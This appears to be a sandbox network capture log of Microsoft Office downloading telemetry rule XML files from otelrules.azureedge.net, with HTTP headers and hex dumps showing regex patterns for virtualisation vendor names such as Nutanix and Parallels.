Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 384f76bb-601e-003e-05a2-423248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165507Z-174f7845968frfdmhC1EWRxxbw00000016ag0000000054vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9318b81d-501e-0035-5bd6-43c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165507Z-174f7845968frfdmhC1EWRxxbw000000164000000000wgmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165508Z-174f7845968xr5c2hC1EWRd0hn0000000r3000000000a32m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:09 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 2fc5819c-d01e-002b-4a95-4325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165509Z-174f7845968ljs8phC1EWRe6en000000160000000000nph3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:09 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 62698de6-501e-00a3-0df8-44c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165509Z-174f7845968cs2nkhC1EWR2tq000000001u000000000qn5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:09 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: bf7ba01b-c01e-007a-6b4e-41b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165509Z-174f7845968frfdmhC1EWRxxbw00000016b0000000003b63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:09 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165509Z-174f78459684bddphC1EWRbht400000015w000000000qyy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:09 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165510Z-174f784596886s2bhC1EWR743w00000016a0000000005u2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:11 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:11 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165511Z-174f7845968psccphC1EWRuz9s00000016fg00000000b09p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:11 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:11 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:11 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165511Z-174f7845968zgtf6hC1EWRqd8s0000000z3g00000000nvzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:11 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:11 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:11 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b69fee9c-d01e-0028-6253-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165511Z-174f7845968swgbqhC1EWRmnb4000000168000000000upsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:12 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:11 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c5a3d3a8-601e-003e-1af8-443248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165512Z-174f7845968cs2nkhC1EWR2tq000000001ug00000000pftt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" 